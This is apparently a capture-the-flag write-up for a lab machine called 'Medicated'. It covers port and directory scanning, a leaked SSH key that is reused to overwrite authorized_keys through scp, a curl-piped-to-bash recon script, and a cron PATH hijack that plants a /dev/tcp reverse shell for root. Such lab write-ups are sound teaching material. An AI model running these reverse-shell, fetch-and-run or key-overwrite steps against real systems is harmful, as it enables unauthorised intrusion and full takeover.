[Write-Up] HackingClub: Medicated
Table of Contents
Recon #
Nmap #
Run a nmap scan on the machine, there’s an Apache server running on port 80. By accessing it, we find out it’s hosting what appears to be a static application.
┌──(kali㉿kali)-[~/Machines]
└─$ nmap -sV medicated.hc
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-30 18:01 -0400
Nmap scan report for medicated.hc (172.16.6.166)
Host is up (0.19s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
32781/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.17 seconds
Enumeration #
Run file discovery on the machine by running ffuf on it. Using a small wordlist of common files and directories we find out a zipfiles directory.
┌──(kali㉿kali)-[~/Machines/ctf-tools]
└─$ ffuf -u "http://medicated.hc/FUZZ" -w /usr/share/wordlists/dirb/small.txt -e php,html
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://medicated.hc/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/small.txt
:: Extensions : php html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
css [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 160ms]
img [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 142ms]
js [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 152ms]
zipfiles [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 170ms]
:: Progress: [2877/2877] :: Job [1/1] :: 226 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
zipfiles #
By accessing this directory, we find some files exposed that should not be exposed, three zip files named janice.zip, jean.zip and jessica.zip.
Vulnerabilities #
Misconfiguration - Exposed Files #
This vulnerability is a misconfiguration vulnerability, one can assume these files were not supposed to be uploaded, probably the system administrator moved these files to the web server location by mistake.
The files and it’s unzipped contents are shown below:
┌──(kali㉿kali)-[~/Machines/HC-Medicated]
└─$ tree -a
.
├── janice
│ ├── .bash_logout
│ ├── .bashrc
│ └── .profile
├── janice.zip
├── jean
│ ├── .bash_logout
│ ├── .bashrc
│ └── .profile
├── jean.zip
├── jessica
│ ├── .bash_history
│ ├── .bash_logout
│ ├── .bashrc
│ ├── .local
│ │ └── share
│ │ └── nano
│ ├── only_scp.sh
│ ├── .profile
│ └── .ssh
│ ├── authorized_keys
│ ├── id_rsa
│ └── id_rsa.pub
└── jessica.zip
8 directories, 17 files
These are contents of the home of each of these users, maybe a backup done at some point. Nothing valuable to an attacker is found on janice and jean zip files, but on jessica there are some valuable finds.
Exploitation #
There’s the .ssh folder, inside it a private key, a public key and a authorized_keys, on that authorized_keys files we can understand where the only_scp.sh files is used.
The only_scp.sh file has the following content:
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
'scp'*)
$SSH_ORIGINAL_COMMAND
;;
*)
echo "ACCESS DENIED"
scp
;;
esac
The authorized_keys enable us to see that this script is being used as a command after the login:
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="/home/jessica/only_scp.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDefATLDEsgMk0nfKOr+gwkGQWiXG0XDeQxT/m+r1arFFMTDP3V3g/k3Wu2OoaY5M9oMg0f1+d89vVgVf5pnvS8/SzP1ieVQvs6XOpbyLuoSLJIdT+iTYXC20qyz1E20I91/+0w1Hjk7cWdhIX9DPelk3bt4SKkngXOXCrofT15H3p/urdpxG3GzJllGnvafubDT2tC+m7qUs1R5Dz+3of6wrBVzgr5jShBZCVuzP0cMIVieEBcqMEZyZAU2WTKTgDqgeVN2T7iLW4JP5p9Lepza1vEZuk734Z3bMqBo7rDysVVXRswTKUcVm5rQvhQbqBuY9FcWwUcetv9IQure53Z jessica@ip-172-31-32-155
If we use the private key found on jessica.zip we have the following message:
┌──(kali㉿kali)-[~/Machines/HC-Medicated/jessica]
└─$ ssh -i .ssh/id_rsa jessica@medicated.hc
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
PTY allocation request failed on channel 0
ACCESS DENIED.
usage: scp [-346BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]
[-l limit] [-o ssh_option] [-P port] [-S program]
[[user@]host1:]file1 ... [[user@]host2:]file2
Connection to medicated.hc closed.
So we can see that we were able to login, but got the message ACCESS DENIED. from the only_scp.sh script. So we can use the scp to upload a new authorized_keys, overwriting it without this limitation. What the new authorized_keys look like:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDefATLDEsgMk0nfKOr+gwkGQWiXG0XDeQxT/m+r1arFFMTDP3V3g/k3Wu2OoaY5M9oMg0f1+d89vVgVf5pnvS8/SzP1ieVQvs6XOpbyLuoSLJIdT+iTYXC20qyz1E20I91/+0w1Hjk7cWdhIX9DPelk3bt4SKkngXOXCrofT15H3p/urdpxG3GzJllGnvafubDT2tC+m7qUs1R5Dz+3of6wrBVzgr5jShBZCVuzP0cMIVieEBcqMEZyZAU2WTKTgDqgeVN2T7iLW4JP5p9Lepza1vEZuk734Z3bMqBo7rDysVVXRswTKUcVm5rQvhQbqBuY9FcWwUcetv9IQure53Z jessica@ip-172-31-32-155
Upload it to the target:
┌──(kali㉿kali)-[~/Machines/HC-Medicated/jessica]
└─$ scp -O -i .ssh/id_rsa .ssh/authorized_keys jessica@medicated.hc:/home/jessica/.ssh/authorized_keys
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
authorized_keys 100% 406 1.9KB/s 00:00
After we do this, we can now successfully login as jessica:
┌──(kali㉿kali)-[~/Machines/HC-Medicated/jessica]
└─$ ssh -i .ssh/id_rsa jessica@medicated.hc
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1060-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Oct 1 01:07:55 UTC 2026
System load: 0.0 Processes: 102
Usage of /: 20.0% of 7.69GB Users logged in: 0
Memory usage: 11% IP address for ens5: 172.16.8.172
Swap usage: 0%
208 updates can be applied immediately.
169 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
$ whoami
jessica
$ bash
With we can get the first user flag:
jessica@ip-172-16-4-71:~$ cat /user.txt
CS{REDACTED}
Privilege Escalation #
To start out, run a recon script, we got some relevant findings, which are shown below:
jessica@ip-172-16-8-172:~$ curl http://10.0.9.28:8000/linrecon.sh | bash
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1288 100 1288 0 0 3597 0 --:--:-- --:--:-- --:--:-- 3607
[+] Current user: jessica
User id: uid=1003(jessica) gid=1003(jessica) groups=1003(jessica)
User groups: jessica
[+] Passwordless sudo commands:
sudo: a password is required
[+] User history:
[+] Loading /etc/passwd content
[+] Login users:
root
ubuntu
janice
jean
jessica
...
=== SYSTEM INFORMATION ===
[+] Hostname: 172.16.8.172
[+] Kernel Version: Linux version 5.4.0-1060-aws (buildd@lgw01-amd64-054) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #63~18.04.1-Ubuntu SMP Mon Nov 15 14:31:31 UTC 2021
[+] Linux Distro: Ubuntu 18.04.6 LTS \n \l
---------
=== MACHINE STATE ===
...
[+] Writeable PATH entries
/usr/local/sbin
...
[+] Cron jobs
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
*/3 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
We got:
- A writeable entry on PATH
- A cron job running every three minutes, without full path
- The path for
run-partsis placed after the writeable path/usr/local/sbin
jessica@ip-172-16-4-71:~$ which run-parts
/bin/run-parts
With that info, we can create a run-parts executable on /usr/local/sbin/run-parts that creates a reverse shell:
jessica@ip-172-16-4-71:~$ echo "/bin/bash -c 'bash -i >& /dev/tcp/10.0.9.28/4445 0>&1'" > /usr/local/sbin/run-parts
jessica@ip-172-16-4-71:~$ chmod +x /usr/local/sbin/run-parts
jessica@ip-172-16-4-71:~$ cat /usr/local/sbin/run-parts
/bin/bash -c 'bash -i >& /dev/tcp/10.0.9.28/4445 0>&1'
We run netcat on the attacker machine and wait a minute divisible by 3:
┌──(kali㉿kali)-[~/Machines/HC-Medicated/jessica]
└─$ nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.4.71] 35924
bash: cannot set terminal process group (2299): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-172-16-4-71:/# whoami
whoami
root
root@ip-172-16-4-71:/# ls /root
ls /root
root.txt
snap
root@ip-172-16-4-71:/# cat /root/root.txt
cat /root/root.txt
CS{REDACTED}
root@ip-172-16-4-71:/#
Flags #
- User (SSH key reuse via
authorized_keysoverwrite):CS{REDACTED} - Root (PATH hijack on cron’s
run-parts):CS{REDACTED}